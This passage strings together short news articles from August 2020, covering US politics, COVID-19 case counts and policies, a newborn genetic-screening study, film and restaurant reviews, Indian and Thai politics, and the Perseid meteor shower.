turnout without competitive primaries, Murray said. The 2020 figures show that the number of Democratic voters rose to 1 million from 916,430 in 2016, while Republicans saw a dropoff to 457,017 from 472,239 four years earlier. Republicans outvoted Democrats in five counties, Cape May, Hunterdon, Ocean, Sussex and Warren. Its a crucial election year and Democrats wanted to participate more even though we already knew who the nominee was going to be, said Ashley Koning, assistant research professor and director of the Eagleton Center for Public Interest Polling at Rutgers UniversityNew Brunswick. But she warned about using the primary turnout to predict the outcome in November. She said that Republicans may have not voted since Trump was running unopposed and there was no need for them to turn out. If its not something that party bases needs to turn out for, theyre going to stay home, Koning said. Our journalism needs your support. Please subscribe today to NJ.com. Jonathan D. Salant may be reached at jsalant@njadvancemedia.com. An 86-year-old Pittsburgh man was rushed to the hospital after his daughter says a teenager shot him multiple times with a paintball gun. The incident occurred in Pittsburghs Troy Hill neighborhood, WPXI reported Monday. He was shot in the face, back and arms several times, according to reports, and though he did not need stitches, he had deep bruises all over his body, which required medical tape. This is just unacceptable. I mean, hes 86 years old. Hes not in his vibrant years. Hes in his elderly years, Diana Myers, the 86-year-old man mans daughter, told WPXI. When does it come to a point that its elder abuse? She said he was doing yard work when he asked a teen to move his car so he could pull weeds. Thats when the teen opened fire with a paintball gun and kept shooting as the man ran to his home, according to reports. Paint splatters were found all over his garage door and on his sweatshirt, reports indicate. Myers called 911 and is upset that no charges have been filed. Pittsburgh police say the incident is under investigation, according to reports. This is the second time in several days that paintballs have made the news in Pittsburgh. In an unrelated incident Saturday, police were called to the scene of a paintball fight, where they arrested a wanted woman and shot and injured her dog when it became aggressive, according to reports. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. Mr. Barr described Democrats as power-mad agents of a revolutionary party that believes in tearing down the system. Theyre not interested in compromise. Theyre not interested in dialectic exchange of views. Theyre interested in total victory, he said. In his telling, President Trumps olive branches have been slapped away, as theyve shredded the norms of our system to do what they can to drive him from office or to debilitate his administration. He explained that the left wants power because that is essentially their state of grace and their secular religion. Georgia School openings going well, governor asserts ATLANTA The governor said Monday that the reopening of some of the states schools amid the coronavirus outbreak has gone well except for the widely shared photos of students crowded together without masks. Democrats strongly pushed back against the assessment that school reopenings were proceeding safely. Widely shared photos showed students standing shoulder to shoulder in crowded hallways at North Paulding High School northwest of Atlanta and squeezed together for first-day-of-school senior photos at two high schools in nearby Cherokee County. None wore masks. North Paulding officials later announced that six students and three staff members had tested positive for the coronavirus and that the school would be closed Monday and Tuesday while the building is disinfected. Oregon Black Lives activist freed, wont be charged A woman queues outside a COVID-19 coronavirus testing venue at The Royal Melbourne Hospital in Melbourne on July 16, 2020. (WILLIAM WEST/ Getty Images) Melbourne City Council Allows Extra Parking Permits for Healthcare Workers Melbourne healthcare workers will have access to thousands of extra parking permits after one doctor copped a fine while working to keep some of Victorias sickest COVID-19 patients alive. Royal Melbourne Hospital anaesthetics registrar Katarina Arandjelovic said she had worked 56 hours over just four days when she discovered the parking fine late on the night of Aug 10. In lockdown, who do you think is parking in the streets by the hospital? It is the doctors, nurses, orderlies, pharmacists, physios, technicians, cleaners, cooks, ward clerks, she tweeted on Tuesday. We cannot work from home. We come here, and we sweat it out under our gowns, our voices muffled under masks, learning to smile with our eyes. We wash our hands obsessively, hoping desperately we do not become part of That Statistic. We do not see our families for weeks. Within hours, the City of Melbourne apologised and withdrew the fine. Lord Mayor Sally Capp also announced up to 5000 extra temporary parking permits would be available for frontline workers. About 8000 had already been provided to doctors and nurses, the council said. Premier Daniel Andrews told reporters: Someone whos in there literally saving lives at considerable risk to themselves should not be the subject of a parking ticket. During the pandemic, councils are still allowed to enforce parking restrictions when they relate to access and safety, such as vehicles in disabled parks without a permit or in no standing zones. Melbourne With the rise of genomic sequencing, health technology companies are promising parents they can detect rare metabolic disorders in newborns who, despite a healthy appearance, may need immediate treatment. Now, scientists from UC San Francisco, UC Berkeley and Tata Consultancy Services are offering the first comprehensive assessment of how sequencing stacks up to the older screening technology, tandem mass spectrometry (MS/MS), that California uses to analyze the blood spots taken at birth for rare disorders, known as inborn errors of metabolism. They found that, when used alone, sequencing comes up short, missing some sick babies, while flagging many healthy ones for unnecessary follow-up testing. But sequencing can still be useful in cases that look suspicious but were not clearly identified by MS/MS. "There has been a lot of publicity about universal sequencing for newborns," said Jennifer Puck, MD, professor of pediatrics at UC San Francisco and co-senior author of the study, published Aug. 10, 2020, in Nature Medicine. "But claims that sequencing is the key to health have been made without the support of rigorous studies." Accuracy is essential when it comes to newborn screening. If cases are missed, seriously ill babies will go without prompt treatment for diseases that require urgent attention, such as phenylketonuria (PKU), which causes cognitive impairment when left untreated. But referring healthy babies for expert care is wasteful and puts families through unnecessary stress. This study used a technique called whole-exome sequencing to look for mutations in 78 genes that are known to be involved in the 48 metabolic disorders for which every California newborn is screened. These diseases are rare, affecting about 150 of the estimated half a million babies born each year in California, and there are no signs when babies are born that they are going to get sick. Since screening is meant for asymptomatic individuals, in this case newborns, it's very different from using sequencing as a diagnostic aid for patients with a medical problem that has already been detected. All of the prior studies of the utility of exome sequencing have started with a patient already in front of a doctor--in other words, a patient with a problem. You start with a clue in hand, a person with a particular difficulty, and you're trying to see if there's an underlying genetic reason for that. When you switch to screening mode, you don't have any clues. Most newborns look perfectly healthy." Jennifer Puck, MD, Professor of Pediatrics, UC San Francisco Inborn metabolic disorders provided a unique opportunity to benchmark the performance of whole-exome sequencing, because it could be compared with California's well-established newborn screening program, which has been using MS/MS since 2005. These disorders have been well studied, and they are known to be caused by changes in a limited set of genes, most of which have been identified. So when they embarked on the study, the team had expected that sequencing technology might do better than the state's MS/MS screening method. The state's current method looks for clues in babies' blood that something is wrong. The team found that the dried blood spots, which are taken at birth and then stored, could be used years later to analyze DNA. This provided a comprehensive view of nearly all the babies born in California with inborn errors of metabolism--about 1,334 of the nearly 4.5 million babies who were born in the period under study, from July of 2005 to December of 2013. The team found that the standard MS/MS screening found 99 percent of babies with metabolic disorders, with a false positive rate of just 0.2 percent. But whole-exome sequencing would have found only 88 percent, missing about 160 of the 1,334 California babies who were ultimately diagnosed with metabolic disorders, while incorrectly identifying about 8,000 babies each year as being in need of urgent evaluation by a metabolic disease specialist. The scientists said the shortcomings of the sequencing approach could have several causes. "These are well-studied single-gene conditions, but that does not mean we have found all the genes associated with them," said first author Aashish Adhikari, PhD, a member of UCSF's Institute for Human Genetics and UC Berkeley's Department of Plant and Microbial Biology. "Additional genes could be involved, as well as additional biological and environmental factors that may limit our ability to predict disease from DNA sequences alone." Another problem is that these diseases are so rare that scientists haven't had many sequences to examine. Also, California's newborns are from highly diverse genetic backgrounds, with many variants that have never before been analyzed, since previous studies have emphasized people of Northern European ancestry. To analyze these new variants and predict their impact, the team had to develop a special computational pipeline. But if whole-exome sequencing has limited use as a standalone primary screen, the study demonstrated that it still can be used to make a definitive diagnosis in cases where MS/MS showed something might be wrong, but doctors were unsure of what it was. And sequencing may yet prove useful in identifying newborns with treatable conditions that current screening methods cannot find. "If the current mass spectrometry testing comes out unclear, sequencing could reveal a gene variant that solves the mystery," said Steven Brenner, PhD, professor at UC Berkeley, a member of UCSF's Institute for Human Genetics, and co-senior author of the study. "Sequencing to screen additional carefully vetted disorders could enable timely treatment of some children with conditions that presently go unrecognized until it's too late for optimal intervention." BENGALURU: Seems that the Karnataka's Corona express has slowed a bit. After a gap of one week the fresh Corona positive case load has come down below 5,000 mark. It should be noted that since July 23 till date, except twice the fresh cases load has been over 5,000. On a positive note the state's recovery rate is faring well and has crossed 50 percent and stands at 54.36 percent. Bengaluru's recovery rate too which was below 30 percent stands at 54.58 percent. Officials of the health department attribute this jump in the recovery rate to increase in the number of discharges. Since Sunday evening, the state has recorded 4,267 cases. Bengaluru topped the list with 1,243 cases, followed by 374 cases from Mysuru, 253 from Ballari, 225 from Davangere. Other districts reported less than 200 cases. While the fresh case load might have witnessed a slight slump, the deaths have crossed a century. In the past 24 hours, the state witnessed a whopping 114 deaths taking the total death tally to 3,312. The number of tests has drastically come down. As per the health bulletin issued by the Department of Health and Family Welfare, the state on Monday carried out 22,620 tests. On an average the state used to carryout more than 40,000 tests. Till date the state has carried out 17.29 lakh tests. While the total Corona positive cases stand at 1,82,354 till date 99,126 patients have been discharged. The state has to deal with 79,908 active cases. There must be a German word for it: That feeling of instant familiarity and creeping displacement that sets upon the young-middle-aged when they revisit a place of their not-so-distant youth. It could be their childhood bedroom. Or a once-favorite bar. Or the town where they went to college - like Carbondale, Ill., the setting for writer-director Kris Rey's "I Used to Go Here," an observantly funny comedy that exquisitely captures the emotional weather of simultaneously belonging and unbelonging. Gillian Jacobs plays Kate, a 35-year-old author whose first novel has just been published. She should be over the moon, but her world is crashing around her ears: Her book tour has just been canceled, all her friends are pregnant and she can't stop checking her ex's Instagram. Perfect timing, then, for Kate to be invited back to campus (presumably Southern Illinois University, although it's never named out loud), where she is greeted like a celebrity and asked to give a triumphant reading in class taught by her onetime mentor, a charismatic professor played with flawless self-regard by Jemaine Clement. Terrorized by the martinet who runs the bed-and-breakfast where she's staying, Kate finds fellowship across the street, in a house where she lived 15 years ago, when the future held promise instead of shame, confusion and disappointment. To a 35-year-old, 15 years is almost nothing: Kate feels like she fits right in with the guys now living in her former abode, and she pounds beers and smokes with practiced nonchalance. To them, of course, she's much older, but they gamely allow her into their circle. Rey conveys that psychic divide with fluency and forgiving humor in "I Used to Go Here," as well as the double-consciousness of being treated like a hero in your old hometown while secretly nursing the knowledge that you're an abject failure in everything other than faking success. Bolstered by an ensemble of game young actors including Josh Wiggins, Forrest Goodluck, Brandon Daley and Rammel Chan, Jacobs delivers a winning portrait of a young woman trapped between two worlds, both inside and out; there's a wonderful shot of her posing with her friends at a baby shower, holding her new book in front of her like her own baby bump. Thankfully, Rey avoids saddling Kate with the biological-clock trope, giving the character her own specific set of doubts and ambivalences. Partway through "I Used to Go Here," a subplot involving a thoroughly unconvincing caper threatens to derail the film into an awkward screwball comedy. But, for the most part, Rey keeps a steady hand on the film's core competencies. Like "Wonder Boys," which it wistfully evokes, Rey's film works best as a study in the kaleidoscopic vagaries of time, which somehow forces us to age even while we stay the same. With modesty, precision and wry compassion, "I Used to Go Here" limns human nature at its most contradictory and indefinable, offering a textbook example - at least until the right German word comes along. - - - Three stars. Unrated. Available on various streaming platforms. Contains sexual situations and scenes of college partying. 80 minutes. Ratings Guide: Four stars masterpiece, three stars very good, two stars OK, one star poor, no stars waste of time. (Newser) After failed efforts to control the spread of COVID-19 by limiting arrivals of foreign citizens, the White House is now considering a plan to temporarily bar potentially infected American citizens and legal residents, according to a draft regulation seen by the New York Times. Federal agencies have been asked to give the administration input on the plan, which would give border agents the power to ban citizens if the agent "reasonably believes that the individual either may have been exposed to or is infected with the communicable disease." It doesn't state how long the citizen or legal resident might have to remain outside the country. story continues below The plan will rely on the CDC's current legal authorities, according to the Times. Sources tell the Washington Post the move could be introduced as part of an emergency public health declaration, though experts note that it is likely to have limited effect since the US already has the most confirmed coronavirus cases in the world, with community spread occurring in many areas. The plan would apply to all arrival points in the US, including airports and the border with Canada, though the BBC reports the Trump administration is apparently focusing on the border with Mexico, where the outbreak continues to worsen. (Read more coronavirus stories.) The Senate chief whip and former governor of Abia State, Orji Kalu, said he would continue to preach about the unity of the nation. Mr Kalu, who said this in an interview with the News Agency of Nigeria (NAN) in Umuahia on Tuesday, reiterated his resolve to ensure a stronger nation. My duty is to continue preaching about the unity of the nation. My duty is to continue pleading with our people about religious tolerance and to continue preaching that Nigeria should be a strong one, he said. The two-term former governor of Abia said the All Progressives Congress (APC) would take over the state in 2023. He resolved that he would use his position as the chairman of the partys caucus to wrestle power from the ruling Peoples Democratic Party (PDP) in the state. He said the party was already doing well under the leadership of Gov Hope Uzodinma in Imo. Mr Kalu said the party would employ a new strategy to penetrate the remaining South-East states in 2023. The senator, while reacting to his rousing reception in Aba on Monday, during a Requiem Mass in honour of his late friend, Anthony Enukeme (Tonimas), said it was because the people believed in his leadership. He said, Forget about the newspaper propaganda, the people believed in what I had done for them. They had free education, their pensions, salaries and leave allowances were paid. The people believe that whoever I will bring will do a better job. READ ALSO: Orji Kalu resumes at Senate after release from prison According to him, when you see all those boys that are following me, they know that their future is guaranteed under the leadership of any political party I belong. Mr Kalu, who was being likened to a Biblical Joseph following his recent incarceration, said he had simply remained as Orji Uzor Kalu that is ready to give leadership of justice and fairness. NAN reports that Mr Kalu had returned to the Senate in June, after spending six months in jail on allegation of corruption. Mr Kalu, who had been serving a 12-year sentence, was released from jail on June 2, 2020, following an order by the Federal High court. He was convicted for embezzling N7.65 billion belonging to the Abia government. The Supreme Court, however, ordered a retrial after it nullified his conviction. (NAN) courtesy of Nina Mayers Community fridges are refrigerators and pantries have popped up around the country during the ongoing coronavirus pandemic to serve those in need, and Houston's very first one has made it's appearance in Third Ward. Two volunteers started the 'HTX Community Fridge' and it's already received a lot of positive support. The community fridge, located at 3801 North MacGregor Way, is planned to be the first of many for the city. By Monday morning, a dozen dissidents were ready to leave the Pilot camp. Having found a hole at the bottom of his boat, Pilot, with dwindling numbers, in sheer desperation, connected with Priyanka Gandhi, reveals Prakash Bhandari. IMAGE: Dissident Congress leader Sachin Pilot. The Congress high command, keeping the interest of the party and the Rajasthan government as the paramount considerations, forced a rapprochement on the dissidents led by Sachin Pilot. The high-level meeting, of Sachin Pilot with Rahul Gandhi and Priyanka Gandhi Vadra, ended with Pilot agreeing to a truce that will ensure the Ashok Gehlot government's safety. The 32-day drama of uncertainty that shrouded the Gehlot government ended with no threat to the Rajasthan government. The ruling Congress will comfortably face the assembly session beginning from August 14 with 122 votes in hand in the 200-member House. The truce initiated between the Gandhis has many riders and Sonia Gandhi, the interim Congress president has kept the key with herself by stating that a three-member committee will be formed to resolve Pilot's grievances. The former deputy chief minister's differences with Chief Minister Gehlot had led to his dissension. Political pundits say the culture of forming a committee to keep the issue hanging is an old trick of the Nehru_Gandhi family. Such committees in the past have always been an eyewash. If Sonia Gandhi, who announced the decision to form a committee, was serious she would have announced the names of the committee members. Rahul Gandhi and Priyanka Gandhi observed the political crisis in Jaipur from a distance with their trusted Congress General Secretary K C Venugopal briefing them on the developments on a day-to-day basis. Venugopal found that the Gehlot government enjoyed the support of 102 MLAs which was enough to tide over the political tsunami, but he was not sure of the Gehlot government's victory in the floor test in the Rajasthan assembly. While efforts were being made by both sides for a compromise, Pilot found that the Gehlot camp was successful in making six of the 19 Congress dissidents including veteran Bhanwar Lal Sharma switch loyalties. Sharma -- who once almost toppled Bhairon Singh Shekhawat's Bharatiya Janata Party government while the BJP leader had traveled to the United States for heart surgery -- was the first to come out from the Sachin camp. After Pilot's rebellion, Sharma was suspended by the party along with another minister Vishvendra Singh. Sharma realised that Pilot had failed to get the required number of Congress MLAs required to topple the Gehlot government. By Monday, August 10, morning, a dozen dissidents were ready to leave the Pilot camp. Having found a hole at the bottom of his boat, Pilot, with dwindling numbers, in sheer desperation, connected with Priyanka Gandhi. The story after that is known by all by now. Pilot has been a loser all through. He aimed at the highest office in the state too early. Though he was able to gather a small number of dissidents in his fold, he was unable to add new dissidents to this group. The BJP, which Gehlot alleged was backing Pilot, would have backed him if he had at least 35 MLAs with him. But this number -- even after 32 days of the high-voltage political drama -- remained a distant dream. On the other hand, Gehlot was able to keep the flock of 102 MLAs together with him. These 102 MLAs were Gehlot's strength and any poaching by the Pilot group would have resulted in the fall of the Congress government. Gehlot managed to keep his flock together by personally attending to them and giving sops to the constituencies they came from. Under the grand arrangement authored by Rahul Gandhi and Priyanka Gandhi, the Congress may effect a change in the party organisation in Rajasthan, but without changing Pradesh Congress Committee president Govind Singh Dotasara who was appointed after Pilot was stripped of his deputy chief ministership and also sacked as PCC chief. Under the fresh organisational set up those who sided with Pilot will be left out of the PCC. Gehlot may recall two sacked ministers -- Vishvendra Singh and Ramesh Meena -- and give a few ministerial berths to other dissidents. Accommodating all the 19 dissidents would be difficult for Gehlot. Moreover, if the 19 dissidents were accommodated, this would upset the loyalists who supported and helped Gehlot save his government. Gehlot should be grateful to the Gandhis who made him chief minister despite Pilot's claims that he had worked hard for five years to bring back the Congress to power in Rajasthan. Gehlot should be doubly grateful as the Gandhis also bailed out his government. Saving the Rajasthan government was important for the Gandhis as the Congress now only rules Punjab and Chhattisgarh. Has Gehlot emerged stronger? It is a difficult question to answer, but Gehlot has lost sizeable clout in the party and is a weaker leader now. The threat from Pilot has paved the way for a culture of dissidence within the party and keeping a balance will be a real tightrope walk for Gehlot. Gehlot does not believe in sharing power and his attitude projects him as authoritarian. He will have to change his style of governance, else a few more Pilots will emerge in the next three-and-a-half years of rule. Gehlot is likely to face problems within two or three months when the voices of dissent against him rise. Now on, Gehlot can rule with caution and not aggression, and with the support of the Gandhis. During the entire crisis, the BJP's towering leader Vasundhara Raje kept silent. This allowed some lesser BJP leaders to begin aspiring for the chief ministership. Vasundhara Raje remains the tallest leader in the BJP and the party has understood her importance. She was against extending any support to Pilot to topple his party's government and this helped Gehlot a great deal. After Vasundhara came into the picture, the BJP had to witness fissures in its camp, forcing the party to send 18 of its MLAs into hiding fearing Gehlot's poaching. This was enough sign for Pilot that he was encircled like Abhimanyu and there was no way out of the Chakravyuh. Prakash Bhandari is a veteran political commentator based in Jaipur. Did you know that Hamilton once had a Crystal Palace? It was inspired by the one built in London for the Great Exhibition of 1851, opened by Queen Victoria. The 1860 Hamilton version appeared as the centrepiece of Victoria Park in the Strathcona neighbourhood, and was opened by the Prince of Wales (Bertie) later King Edward VII. What might have stood on the corner of King and Locke opposite the park? Restaurants were just beginning to appear and theres some evidence that there has been a tavern, bar or hotel on that corner for some years. For part of the last decade, it was the Rolly Rocket Pub which closed in 2018. New ownership of the building and renovations laid the path for Cory Towers Victorias his re-imagining of the classic steakhouse. With parents involved in the business end of hospitality (in Winnipeg), Tower grew up in and around restaurants. His commerce and accounting took him to restaurant-related work overseas. By the time he returned, his parents had relocated to Ontario and Cory began working locally with stints at Canoe in Toronto. By January 2018 he had settled in Hamilton to raise his family and run Caro an Italian-themed restaurant with a loyal fan base in the Crown Point neighbourhood. Says Tower, Hamilton allows us to have more of a balance with family and we wouldnt have these opportunities elsewhere and people are very neighbourhood-friendly and support you. Ive never had that feeling anywhere else. Tower enjoys the casual vibe of Caro, but has treasured memories of steakhouse dining with his family he even worked in steakhouses and higher-end restaurants. He loved the style, the waiters and the feel. With Victorias he has updated the scene, moving away from the classic dark, wood grain, leather interior. Instead, he offers a modern, more casual twist on the nostalgia. The decor in this spacious high-ceilinged setting is uplifting bright, elegant, and soft. Victorias was open for mere weeks before the pandemic shutdown. Tower carried on with Caro offering takeout and undertaking charitable programs feeding those in need, including his now jobless staff. Once patios were permitted Victorias lights were turned on at least, the outdoor lights of a lovely patio. Since our visit, it is now open for lunch, brunch and indoor seating. On offer is a condensed menu under the leadership of chef Arnaud Cometti of Italian descent but born and raised in Nice, France moving to Canada four years ago with a stint at Queens Landing in Niagara-on-the-Lake. The menu includes classics of a steak and seafood house with a menu that is approachable and will evolve as the Victorias experience unfolds. The most popular dish that kept gliding past us to other tables was the Seafood Tower literally a tower of oysters, shrimp cocktail, lobster and mussels a thing of beauty. Because there were so many other things we wanted to sample, this didnt fit into our budget this time. Instead, we made two other selections from the tempting list of appetizers that includes seafood bisque, oysters, a charcuterie board and a classic wedge salad. Just Bacon was just that. Two thick slices of bacon perfectly cooked nestled with frisee in its own juices and a touch of maple syrup. The inspiration for this? Cory is clearly a steakhouse aficionado and he easily slides into stories about Peter Luger Steakhouse in Brooklyn specifically Williamsburg which was predominantly German when the steakhouse opened in 1887. Cory decided that if he ever had a steakhouse it would have a version of Lugers Sizzling Bacon, Extra Thick, by the Slice. It was a great starter. On a lighter note, the Crab Cakes were crisp on the outside, soft and moist inside, pairing well with the remoulade and tomato/ frisee garnish. In a steakhouse, you must try the steak. We chose the eight-ounce Flat Iron, Canadian Prime Beef, currently aged for 28 days longer aging is planned. The tender steak was plated with chimichurri and king mushroom and much enjoyed with our selections from a range of sauces and sides in our case, mushroom sauce and asparagus. The Favourites section of the menu includes the beloved Gnudi from Caro appearing along with a Wagyu burger. I chose Black Cod with Miso. I am a huge fan of miso, and Miso Black Cod is the signature dish of the famous Nobu restaurant replicated by chefs worldwide. The miso adds a light golden hue and umami to the buttery texture of the large portion of whitefish. Plated with garlic broccolini, citrus butter and red pepper sauce it was to use Corys words nicely dressed up. The Caro influence also appeared with the single dessert selection a light and tasteful Tiramisu. The cocktails combine modern with nostalgia and the wine list includes old world/new world, and red/white. Victorias is about memories Hamiltons and Corys. His mission Creating unforgettable memories one moment at a time. Visit and make some of your own memories. Victorias Restaurant 470 King St. W., Hamilton 905-540-4771 victoriasrestaurant.ca The look/feel: Stylish Patio Hours: Tuesdays to Saturday 5 to 9 p.m. (Hours changing weekly with brunch and lunch and seven days per week to be added soon) What we paid: Just Bacon $14; Crab Cakes $18; Flat Iron Steak $28; Mushroom Sauce $5; Asparagus $10; Black Cod $34; Tiramisu $10; Coffee $4 Wheelchair access: Yes Metro Manila (CNN Philippines, August 11) Travelers from the Philippines will be required to present negative COVID-19 test results before boarding a plane for China starting August 20. Chinese authorities announced in mid-July that they will require negative nucleic acid test results for inbound passengers. The Chinese Embassy in Manila released the guidelines on Tuesday, more than a week before the new rule is implemented. Chinese and foreign travelers from the Philippines should secure negative test certificates within five days before their scheduled flight to China. The certificate, as well as a health declaration form and a photocopy of the front page of the passport should be e-mailed to the Embassy or consulates. The Embassy or the consulates will then send back the certified health declaration form, which will be presented to airline authorities upon check-in. Please be noted that it shall take at least 1 working day for the verification by the Chinese Embassy or the Consulates, the Embassy said. It noted that a Chinese visa is still required to enter the Asian country. The Chinese government, however, temporarily suspended the entry of foreign visa holders since March to prevent further spread of the coronavirus disease. Only the visitors coming to China for necessary economic, trade, scientific, or technological activities or emergency humanitarian needs are allowed entry. China, where the novel coronavirus originated in December 2019, now has fewer infections than 29 other states, including the Philippines. China has recorded more than 88,000 COVID-19 cases, while the Philippines has 139,538 to date. A group of attorneys who filed a civil Racketeer Influenced and Corrupt Organizations Act case against House Speaker Michael Madigan and ComEd want to remove the speaker from power. One of the attorneys who brought a civil RICO lawsuit in federal court against Madigan and ComEd seeking $450 million said that jury trial could take years. But they are looking for more immediate steps against Madigan in the weeks ahead. Attorney Stuart Chanen said first and foremost theyre looking for ratepayers to be compensated. Although ComEd filed a $200 million criminal fine none of that money goes back to consumers, to customers, so thats the primary reason we filed the lawsuit, Chanen said. A spokesman from ComEd said the company apologized for past conduct, but that doesnt mean consumers were harmed. The improper conduct described in the deferred prosecution agreement, however, does not mean that consumers were harmed by the legislation that was passed in Illinois, said Paul Elsberg, vice president of communications for ComEd. In large part as a result of legislative action in Illinois, ComEd has made some of the largest improvements in service at the best value of any utility serving a U.S. major metro area. This in no way excuses the conduct described in the DPA, but that is a distinct issue from the effect of the legislation for ComEds customers. Chanen said it could take a while to sort through. A civil case like this has a pretty long timeframe although we do expect to be heard by a judge on the two Madigan issues in the next week or two, Chanen said. Chanen said they want an injunction to prevent Madigan from serving as the leader of the Democratic Party of Illinois. If the Democratic Party of Illinois is being run as a corrupt organization and ComEds admission certainly suggests that it is, then Speaker Madigan has no business continuing to be at the helm of that organization, Chanen said. Messages seeking comment from the Democratic Party of Illinois were not returned. The suit also seeks to issue an injunction against Madigan from being involved in future energy legislation, Chanen said. Its just dangerous for the citizens of Illinois, dangerous for the consumer of ComEd to have him in that position especially with pending legislation that could have this huge effect on emergency supply and electricity supply in our state, Chanen said. Madigan has denied wrongdoing. He has not been charged with a crime. About 3,000 to 4,000 protesters chant Long live democracy as speakers call on PM Prayuth Chan-ocha to resign. Thousands have joined an anti-government demonstration at a university in Thailand, the largest such protest by students, challenging the government and conservative establishment even as royalist rivals held their own rally. About 3,000 to 4,000 protesters chanted Long live democracy at Thammasat University on the outskirts of Bangkok on Monday evening, with fiery speeches calling for the resignation of Prime Minister Prayuth Chan-ocha, who first seized power in a 2014 coup. Earlier on Monday, dozens of government supporters rallied in front of Parliament, saying the student protests could threaten Thailands monarchy, which they consider a sacred institution. In a sign of a more coordinated opposition to the students, nationalist activist Sumet Trakulwoonnoo, 46, announced a new pro-government group, the Coordination Center of Vocational Students for the Protection of National Institutions (CVPI). Were setting up to remind youth groups, parents, teachers and officials about the danger to the nation from these people who are instigating youth to become godless and obsessed with Western culture, do drugs and hate their parents and teachers, Sumet told reporters. The anti-government protesters have made a growing number of references to the monarchy, a highly sensitive topic, and one speaker at a recent rally called for its reform. The students accused the pro-government demonstrators of trying to create confrontation that could lead to another military intervention. We do not want this and will oppose it, Nick Thanawit, a student activist from Maha Sarakham University, told the crowd. Meanwhile, a senior executive of Thammasat University issued an apology early on Tuesday for the sensitive content expressed during the demonstration on Monday night. A smaller group of Thai royalists also held a separate rally on Monday accusing student demonstrators of threatening the power of the monarchy led by King Maha Vajiralongkorn [Panu Wongcha-um/Reuters] In a Facebook post, Prinya Thaewanarumitkul, who oversees the universitys Rangsit campus, said some opinions expressed later in the event were not approved by the university, and were problematic. Earlier on Friday, two activists involved in the student protests were arrested on charges of sedition and breaking restrictions to stop the spread of the novel coronavirus. They were later released on bail. Human Rights Watch said several other protesters around the country had been harassed. Legal action and harassment are intensifying despite Prime Minister Prayuths promises that the government would listen to the dissenters demands and concerns, said Sunai Phasuk, senior researcher on Thailand for HRW. Government deputy spokeswoman Rachada Dhnadirek denied blocking student activism. We dont want to see violence or expressions beyond the bounds of the law, Rachada told the Reuters news agency. Police in Indian-administered are investigating the killings. The Indian army initially claimed the three were militants - AKHTAR SOOMRO /REUTERS Police in Indian-administered Kashmir are investigating the alleged killing of three civilians in a staged gunbattle in the Shopian district. The families of Abrar Chouhan, 21, Imtiyaz Hussain, 21, and Abrar Chouhan, 16, claim the three men had no militant connections and had traveled from their hometown of Rajori to Shopian to work as labourers. It's been ten years since anyone in the Indian Army was prosecuted for carrying out an extrajudicial killing in Kashmir but activists claim residents caught up in conflict between pro-independence militias and the authorities are being murdered. Family members of the slain trio say they left Rajori in the morning of July 17 to trek to Shopian and they last heard from the group at 7.30pm that evening. Residents of Shopian told the Telegraph they heard gunshots from a remote cabin at 2.30am and then again at 5.30am, during the early hours of the morning on July 18. The significant presence of the Indian Army in Kashmir is an extremely divisive issue - FAYAZ AZIZ /REUTERS Later that day, the Indian Army released a statement saying it had killed three Pakistani militants but from the pictures of their bodies they were identified as the three missing labourers from Rajori. They had not even a remote connection with militancy, said Mohammed Yousuf, the father of one of the men told the Associated Press. Mr Yousuf called on the police to launch a full investigation into the deaths of the three men, including a probe of their call records to prove their innocence and DNA testing on the bodies. We have lodged a criminal complaint and once their family reaches here we will take action, confirmed Amritpal Singh, the Senior Superintendent of the Police in Shopian. We are checking where they were staying and we will come to the conclusion once their parents reach here. The Indian Army said it was looking into the incident: We have noted social media inputs linked to the operation in Shopian on July 18. The Army is investigating the matter. A member of the public wearing a face mask in Manchester, as new figures showed the number of coronavirus deaths is at the lowest level since March. (PA) The number of deaths from coronavirus in England and Wales has hit its lowest level since before the nationwide lockdown in March, according to Office for National Statistics (ONS) data. The latest ONS figures published on Tuesday show 193 deaths registered in the week ending 31 July mentioned coronavirus on the death certificate. That figure is the lowest number of deaths attributed to COVID-19 for 19 weeks: two weeks before lockdown started on 23 March. It also represents an 11.1% decrease compared to the week before, in which 217 people died from the virus. A cyclist wearing a face covering rides past a digital display outside London's Waterloo station. (PA) In England and Wales, 51,710 deaths involving COVID-19 occurred up to 31 July, and had been registered by 8 August. However, the lower weekly death tolls come amid experts concerns about the governments ability to deal with new outbreaks of the virus. Prof Gabriel Scally, an epidemiologist at the Royal Society of Medicine who is also an Independent SAGE member, said the government was failing to suppress the virus by its own standards. Somethings got to change, otherwise we are really in for an extraordinarily difficult time, he said. Its bad, and at the back of it all is that the government does not have a strategy. The last time they published a strategy for COVID-19 was 3 March. What they have published is a strategy for removing social restriction, but thats not about dealing with the virus. They have no strategy for dealing with the virus that they have ever made public. Coronavirus cases in the UK also appear to be on the rise, with Sunday seeing 1,062 new infections recorded. This was the first time more than 1,000 cases were confirmed in a day since 26 June. Research by Public Health England, meanwhile, has found that among the 15 to 44 age bracket, the infection rate has risen by 35% over the last five weeks. In the week up to 2 August, the rate of infection among 15 to 44 year olds in England was 11.9 per 100,00 people, up from 8.8 per 100,000 in the week ending 5 July. Coronavirus: what happened today Click here to sign up to the latest news and information with our daily Catch-up newsletter The Perseids are one of the most spectacular meteor showers of the year (Getty) One of the best meteor showers of the year will unleash up to 100 shooting stars an hour as it reaches its peak this week, astronomers have said. All through this week, the Perseid meteor shower will blaze across the sky as our planet flies through a cloud of dust from a comet. The shower will peak between 11 and 13 August, according to Royal Museums Greenwich. You wont need binoculars or a telescope to watch, astronomy experts say (weather permitting). The meteors occur yearly between 17 July and 24 August, but reach their peak this week. The event, one of the high points in the celestial calendar, occurs as the Earth ploughs through dusty debris left by Comet Swift-Tuttle. Read more: Lyrid meteor shower captured in time-lapse The meteors, mostly no bigger than a grain of sand, burn up as they hit the atmosphere at 36 miles per second to produce a shooting stream of light in the sky. Peak temperatures can reach anywhere from 1,648C to 5,537C as they speed across the sky. The meteors are called Perseids because they seem to dart out of the constellation Perseus. This colourful Perseid fireball was photographed during the Perseid meteor shower in Cabo Rojo, Puerto Rico. (Getty) To make the best of the Perseids, observers should avoid built-up areas and try to find an unobstructed view to the east, experts suggest. Royal Museums Greenwich suggests wannabe viewers should try to minimise the amount of light affecting their view. Read more: Scientists warn dangerous space rocks could be hiding in meteor shower An astronomer at the Greenwich Royal Observatory advises: Reduce the amount of light pollution in your field of view. This could mean heading out to the countryside, a nearby park or even do something as simple as turning your back to street lamps if you are not able to go anywhere. Give your eyes at least 15 minutes to adjust to the dark so that you can catch more of the fainter meteors this does mean that you should not look at your phone! 